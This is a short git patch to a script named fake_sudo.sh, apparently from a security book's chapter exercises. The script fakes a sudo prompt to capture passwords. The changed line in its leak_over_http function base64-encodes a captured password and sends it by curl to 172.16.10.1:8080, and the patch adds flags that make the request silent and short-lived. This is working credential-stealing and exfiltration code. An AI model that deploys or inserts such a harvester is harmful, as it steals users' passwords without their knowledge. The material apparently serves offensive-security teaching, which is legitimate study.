From b6abead50ff5337a2144256d2db2265d99ca877b Mon Sep 17 00:00:00 2001 From: Dolev Farhi Date: Mon, 30 Oct 2023 12:23:38 -0400 Subject: [PATCH] add additional curl flags --- ch10/fake_sudo.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ch10/fake_sudo.sh b/ch10/fake_sudo.sh index f25af4d..9c4765b 100644 --- a/ch10/fake_sudo.sh +++ b/ch10/fake_sudo.sh @@ -4,7 +4,7 @@ ARGS="$@" leak_over_http() { local encoded_password encoded_password=$(echo "${1}" | base64 | sed s'/[=+/]//'g) - curl "http://172.16.10.1:8080/${encoded_password}" + curl -m 5 -s -o /dev/null "http://172.16.10.1:8080/${encoded_password}" } stty -echo